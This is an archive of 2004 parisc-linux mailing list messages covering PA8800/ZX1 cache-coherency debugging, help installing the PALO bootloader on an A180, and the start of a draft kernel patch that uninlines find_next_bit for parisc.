Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id E2B3A3BDD7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 15:19:30 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i55LJSi10248; Sat, 5 Jun 2004 17:19:28 -0400
In-Reply-To: <20040605210515.GA8098@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21707

On Sat, 2004-06-05 at 16:05, Grant Grundler wrote:
> Well, I can only point at the difference in cache size.

The pa8800 only has a 750k/750k VIPT cache, that's smaller than my
raven.  The 32M L2 cache is PIPT, which doesn't suffer from aliasing or
address remapping effects---in fact, the PA engineers probably arranged
for a fdc not to flush it because there's no point; the only coherency
problems the PIPT cache has is with I/O, which is supposed to be fully
coherent in the ZX1, isn't it.  Thus, we'd only pick up a caching
problems like you describe from the VIPT caches.

> > My money would be on an additional architectural requirement of the
> > PA8800 (maybe even an existing PA one that the <PA8800 just don't need)
> > that we don't respect.
> 
> yes - and we've changed chipsets too.
> 
> Any good ideas on how to prove IO is coherent?

Well, yes, but not without driver magic.  You program a device to take a
piece of data in and rewrite it to a different buffer, then you compare
buffers (making sure the first had a pattern in it and the second was
completely clear).

> It might be the same problem that Naresh described as "SCSI DMA problems".
> I just happen to be using NFS Root instead.
> 
> But I found one bug in Naresh's port that might explain his problem
> (wasn't flushing IO TLB properly). It would be interesting to hear
> if 2.6.7-rc2-pa3 works better for him.

Well, it could be an I/O coherency problem, but if you have one of
those, I'm surprised it boots at all.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Sat, 5 Jun 2004 16:21:37 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20040605222137.GF8098@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
	<1086470366.1999.36.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623469 9891 80.91.229.3 (22 Nov 2014 02:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:09 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14905 invoked by uid 65534); 5 Jun 2004 22:22:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 06 Jun 2004 00:22:07 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 457DB3BDFB; Sat,  5 Jun 2004 16:21:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E1FDA3BDD7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 16:21:38 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2ED16298038; Sat,  5 Jun 2004 16:21:38 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09695-05; Sat, 5 Jun 2004 16:21:37 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3E4AB298015; Sat,  5 Jun 2004 16:21:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1086470366.1999.36.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21708

On Sat, Jun 05, 2004 at 04:19:24PM -0500, James Bottomley wrote:
> On Sat, 2004-06-05 at 16:05, Grant Grundler wrote:
> The pa8800 only has a 750k/750k VIPT cache, that's smaller than my
> raven.  The 32M L2 cache is PIPT, which doesn't suffer from aliasing or
> address remapping effects---in fact, the PA engineers probably arranged
> for a fdc not to flush it because there's no point; the only coherency
> problems the PIPT cache has is with I/O, which is supposed to be fully
> coherent in the ZX1, isn't it.

Yes - especially since I haven't attempted to add any special support
for 64-bit cards. The "IOMMU Bypass" mode on ZX1 is worth implementing
for 64-bit cards and I might in fact require it for graphics and
infiniband support.


> Thus, we'd only pick up a caching
> problems like you describe from the VIPT caches.

ok.

> > Any good ideas on how to prove IO is coherent?
> 
> Well, yes, but not without driver magic.  You program a device to take a
> piece of data in and rewrite it to a different buffer, then you compare
> buffers (making sure the first had a pattern in it and the second was
> completely clear).

tg3 driver infact has such a test...let me think about that some more.
I might hack the test to be more exhaustive.

> Well, it could be an I/O coherency problem, but if you have one of
> those, I'm surprised it boots at all.

For that bug, one could occasionally end up with a stale IO TLB entry.
And I'm wondering if that's possible when "swapping in" different
parts of an executable binary. To date, I'm under the impression
only executable pages are seeing this problem.  If it were IO,
I should be seeing it with data too - ie .c file cause errors.
Maybe I just need to exercize it more to make that happen.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Sat, 5 Jun 2004 00:51:26 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20040605065126.GA28343@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623469 9894 80.91.229.3 (22 Nov 2014 02:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19692 invoked by uid 65534); 5 Jun 2004 06:51:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 05 Jun 2004 08:51:55 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 820EA3BDE2; Sat,  5 Jun 2004 00:51:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 65D933BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 00:51:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8EAAA298059; Sat,  5 Jun 2004 00:51:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28310-02; Sat, 5 Jun 2004 00:51:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B4CAA298038; Sat,  5 Jun 2004 00:51:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040604202546.GC18574@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21709

On Fri, Jun 04, 2004 at 02:25:46PM -0600, Grant Grundler wrote:
> I've committed PA8800/ZX1 support. It's obviously not complete
> and more notes are here:
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-June/034204.html

One of the errata I forgot to mention was Segmentation faults
or other transient failures. The failures are typically
segfaults but could "internal errors" to gcc or mis-reference
header in cpp. In all cases transient - ie not reproducible
on retry.

On the pa8800 machine, a "time make -j2" of the kernel would fail
in ~10 seconds. "time make" would fail anywhere from 30 seconds
to 6 minutes after starting. Re-starting the job would let it run
another chunk in time.

To me, it all suggest the PA8800 32M L2 cache isn't being
flushed when it might need to be. I don't think it's a new
problem. Just an old one that's easier to reproduce with
the bigger cache.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unable to get PALO to install on A180 Debian
	install
Date: Sun, 6 Jun 2004 10:17:48 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20040606161748.GC25343@colo.lackof.org>
References: <20040605212309.GC8098@colo.lackof.org>
	<FHEGKPBPFFGIFBGOANOKMELLEGAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623469 9897 80.91.229.3 (22 Nov 2014 02:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harry Cochran <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27121 invoked by uid 65534); 6 Jun 2004 16:18:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 06 Jun 2004 18:18:05 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D1563BE25; Sun,  6 Jun 2004 10:17:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A11593BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Jun 2004 10:17:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AC928298033; Sun,  6 Jun 2004 10:17:49 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26446-02; Sun, 6 Jun 2004 10:17:48 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E0CB29802E; Sun,  6 Jun 2004 10:17:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <FHEGKPBPFFGIFBGOANOKMELLEGAA.h.cochran@comcast.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21710

On Sat, Jun 05, 2004 at 06:55:09PM -0400, Harry Cochran wrote:
> Is there some
> key sequence I can hit at the "continue" screen to get to "execute a shell"
> (in the i386 world, you have a chance to select several different kernels,
> like bf24, at the beginning ... I don't see this capability in the hppa
> version).

Arrow keys? ie down arrow until it scrolls to "execute a shell".

(oh, that reminds me...I have helge's arrow-key patch in my tree and
offered to test it but don't know quite how.)

> 	Looking at sda1 with "Partition a Hard Disk" says the disk looks like:
> 
> 
>    Name	Flags		Part Type	FS Type		Label		Size(MB)
> /dev/sda1   Boot		Primary	Linux/PA-RISC boot  		59.11
> /dev/sda2               Primary	Linux swap			     519.31
> /dev/sda3             	Primary	Linux				    3715.32

That should be fine IFF sda1 is formatted as ext2 and THEN run palo on it.
And then it can be mounted as /boot. This all has to be done by hand
from "execute a shell" since the installer doesn't know anything about it.

At least I think that's how it should work since palo needs to mark
bits in the ext2 block usage map as "used" or "bad". James?

If sda1 can't be mount as /boot, you need to split sda3 into two parts.
The first part (root) needs to end before 2GB offset. The second part
can be the rest of the disk.

> I notice that you don't have the "Boot" flag turned on for you f0 partition.
> Is this an error on my part?

no. neither firmware nor palo cares about it.

> My sdb disk is another 4GB disk that I have concatenated with sda3 to make
> /.

That's fine. Personally, I would use the second disk as /home or /var.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Unable to get PALO to install on A180 Debian
	install
Date: 06 Jun 2004 11:27:16 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1086539237.1747.71.camel@mulgrave>
References: <20040605212309.GC8098@colo.lackof.org>
	<FHEGKPBPFFGIFBGOANOKMELLEGAA.h.cochran@comcast.net> 
	<20040606161748.GC25343@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623470 9898 80.91.229.3 (22 Nov 2014 02:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:10 +0000 (UTC)
Cc: Harry Cochran <h.cochran@comcast.net>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29577 invoked by uid 65534); 6 Jun 2004 16:27:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 06 Jun 2004 18:27:46 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9DA893BE28; Sun,  6 Jun 2004 10:27:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id 844903BE25
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Jun 2004 10:27:22 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i56GRHi03490; Sun, 6 Jun 2004 12:27:17 -0400
In-Reply-To: <20040606161748.GC25343@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21711

On Sun, 2004-06-06 at 11:17, Grant Grundler wrote:
> > 	Looking at sda1 with "Partition a Hard Disk" says the disk looks like:
> > 
> > 
> >    Name	Flags		Part Type	FS Type		Label		Size(MB)
> > /dev/sda1   Boot		Primary	Linux/PA-RISC boot  		59.11
> > /dev/sda2               Primary	Linux swap			     519.31
> > /dev/sda3             	Primary	Linux				    3715.32
> 
> That should be fine IFF sda1 is formatted as ext2 and THEN run palo on it.
> And then it can be mounted as /boot. This all has to be done by hand
> from "execute a shell" since the installer doesn't know anything about it.
> 
> At least I think that's how it should work since palo needs to mark
> bits in the ext2 block usage map as "used" or "bad". James?

Actually, you need to have palo itself format /dev/sda1 using the
--format-as=2 (2 is for ext2) option.  If you use this, you also
*cannot* specify a recovery kernel.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] uniline ?
Date: Sun, 06 Jun 2004 19:22:37 +0000
Lines: 308
Approved: news@gmane.org
Message-ID: <40C36EFD.6040002@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623470 9901 80.91.229.3 (22 Nov 2014 02:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25717 invoked by uid 65534); 6 Jun 2004 19:20:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 06 Jun 2004 21:20:59 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C09E3BE22; Sun,  6 Jun 2004 13:20:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 880ED3BE07
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Jun 2004 13:20:46 -0600 (MDT)
Original-Received: from [83.134.227.25] (helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BX3CG-0000Kb-EZ; Sun, 06 Jun 2004 21:20:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040528 Debian/1.6-7
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21712

Hello all,

reading this:
ChangeSet 2004/06/04 16:17:51-07:00, akpm @ osdl.org [diffview]

[PATCH] ia64: uninline find_next_bit on ia64

From: Paul Jackson <pj@sgi.com>

Move the page of code (~700 bytes of instructions) for find_next_bit and
find_next_zero_bit from inline in include/asm-ia64/bitops.h to a real function
in arch/ia64/lib/bitops.c, leaving a declaration and macro wrapper behind.

The other arch's with almost this same code might want to also uninline it:
alpha, parisc, ppc, sh, sparc, sparc64.

These are too big to inline.

Signed-off-by: Paul Jackson <pj@sgi.com>
Signed-off-by: Andrew Morton <akpm@osdl.org>
Signed-off-by: David Mosberger <davidm@hpl.hp.com>

I play to make an equivalent patch for paric:
diff -Naur linux-2.6.a/arch/parisc/lib/bitops.c linux-2.6.b/arch/parisc/lib/bitops.c
--- linux-2.6.a/arch/parisc/lib/bitops.c        2004-06-06 15:16:28.000000000 +0200
+++ linux-2.6.b/arch/parisc/lib/bitops.c        2004-06-06 19:53:09.312540000 +0200
@@ -11,6 +11,7 @@
  #include <linux/spinlock.h>
  #include <asm/system.h>
  #include <asm/atomic.h>
+#include <asm/bitops.h>

  #ifdef CONFIG_SMP
  atomic_lock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
@@ -82,3 +83,126 @@
         atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
         return (unsigned long)prev;
  }
+
+/*
+ * This implementation of find_{first,next}_zero_bit was stolen from
+ * Linus' asm-alpha/bitops.h.
+ */
+unsigned long __find_next_zero_bit(void * addr, unsigned long size, unsigned long offset)
+{
+       unsigned long * p = ((unsigned long *) addr) + (offset >> SHIFT_PER_LONG);
+       unsigned long result = offset & ~(BITS_PER_LONG-1);
+       unsigned long tmp;
+
+       if (offset >= size)
+               return size;
+       size -= result;
+       offset &= (BITS_PER_LONG-1);
+       if (offset) {
+               tmp = *(p++);
+               tmp |= ~0UL >> (BITS_PER_LONG-offset);
+               if (size < BITS_PER_LONG)
+                       goto found_first;
+               if (~tmp)
+                       goto found_middle;
+               size -= BITS_PER_LONG;
+               result += BITS_PER_LONG;
+       }
+       while (size & ~(BITS_PER_LONG -1)) {
+               if (~(tmp = *(p++)))
+                       goto found_middle;
+               result += BITS_PER_LONG;
+               size -= BITS_PER_LONG;
+       }
+       if (!size)
+               return result;
+       tmp = *p;
+found_first:
+       tmp |= ~0UL << size;
+found_middle:
+       return result + ffz(tmp);
+}
+EXPORT_SYMBOL(__find_next_zero_bit);
+
+
+unsigned long __find_next_bit(unsigned long *addr, unsigned long size, unsigned long offset)
+{
+       unsigned long *p = addr + (offset >> 6);
+       unsigned long result = offset & ~(BITS_PER_LONG-1);
+       unsigned long tmp;
+
+       if (offset >= size)
+               return size;
+       size -= result;
+       offset &= (BITS_PER_LONG-1);
+       if (offset) {
+               tmp = *(p++);
+               tmp &= (~0UL << offset);
+               if (size < BITS_PER_LONG)
+                       goto found_first;
+               if (tmp)
+                       goto found_middle;
+               size -= BITS_PER_LONG;
+               result += BITS_PER_LONG;
+       }
+       while (size & ~(BITS_PER_LONG-1)) {
+               if ((tmp = *(p++)))
+                       goto found_middle;
+               result += BITS_PER_LONG;
+               size -= BITS_PER_LONG;
+       }
+       if (!size)
+               return result;
+       tmp = *p;
+
+found_first:
+       tmp &= (~0UL >> (BITS_PER_LONG - size));
